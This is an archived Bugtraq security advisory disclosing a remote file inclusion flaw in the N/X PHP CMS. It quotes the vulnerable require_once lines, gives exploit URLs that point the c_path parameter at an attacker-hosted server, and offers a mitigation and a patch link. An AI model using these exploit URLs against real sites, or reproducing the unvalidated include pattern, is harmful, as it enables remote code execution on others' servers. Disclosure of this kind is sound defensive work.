[28349] in bugtraq
N/X (PHP)
daemon@ATHENA.MIT.EDU (Frog Man)
Thu Jan 2 12:55:06 2003
From: "Frog Man" <leseulfrog@hotmail.com>
To: bugtraq@securityfocus.com
Date: Thu, 02 Jan 2003 12:59:55 +0100
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1; format=flowed
Message-ID: <F163SkSp79Jm2AuqGNw0000f99a@hotmail.com>
Informations :
°°°°°°°°°°°°°°
Website : http://nxwcms.sourceforge.net/
Version : 2002 PreRelease 1
Problem : Include file
PHP Code/Location :
°°°°°°°°°°°°°°°°°°°
nx/common/cds/menu.inc.php :
-----------------------------------------------------------
[...]
require_once $c_path."common/lib/launch.inc.php";
[...]
-----------------------------------------------------------
nx/common/dbo/datasets.php :
-----------------------------------------------------------
<?
require_once $c_path."common/dbo/saveset.php";
require_once $c_path."common/dbo/recordset.php";
require_once $c_path."common/dbo/deleteset.php";
require_once $c_path."common/dbo/updateset.php";
require_once $c_path."common/dbo/insertset.php";
[...]
-----------------------------------------------------------
nx/common/lib/mass_opeations.inc.php :
-----------------------------------------------------------
<?
require_once $c_path."common/lib/launch.inc.php";
require_once $c_path."common/cds/menu.inc.php";
[...]
-----------------------------------------------------------
etc...
Exploits :
°°°°°°°°°°
http://[target]/nx/common/cds/menu.inc.php?c_path=http://[attacker]/ with :
http://[attacker]/common/lib/launch.inc.php
http://[target]/nx/common/dbo/datasets.php?c_path=http://[attacker]/ with :
http://[attacker]/common/dbo/saveset.php
http://[attacker]/common/dbo/recordset.php
http://[attacker]/common/dbo/deleteset.php
http://[attacker]/common/dbo/updateset.php
http://[attacker]/common/dbo/insertset.php
etc...
Solution :
°°°°°°°°°°
Add this line in bugged files :
-----------------------------------------------------------------
if (!file_exists($c_path."index.php")){ die("Path not found."); }
-----------------------------------------------------------------
A patch can be found on http://www.phpsecure.org .
More details :
°°°°°°°°°°°°°°
In French :
http://www.frog-man.org/tutos/NX.txt
Translated by Google :
http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2Ftutos%2FNX.txt&langpair=fr%7Cen&hl=en&ie=ISO-8859-1&prev=%2Flanguage_tools
frog-m@n
_________________________________________________________________
MSN Search, le moteur de recherche qui pense comme vous !
http://search.msn.fr/worldwide.asp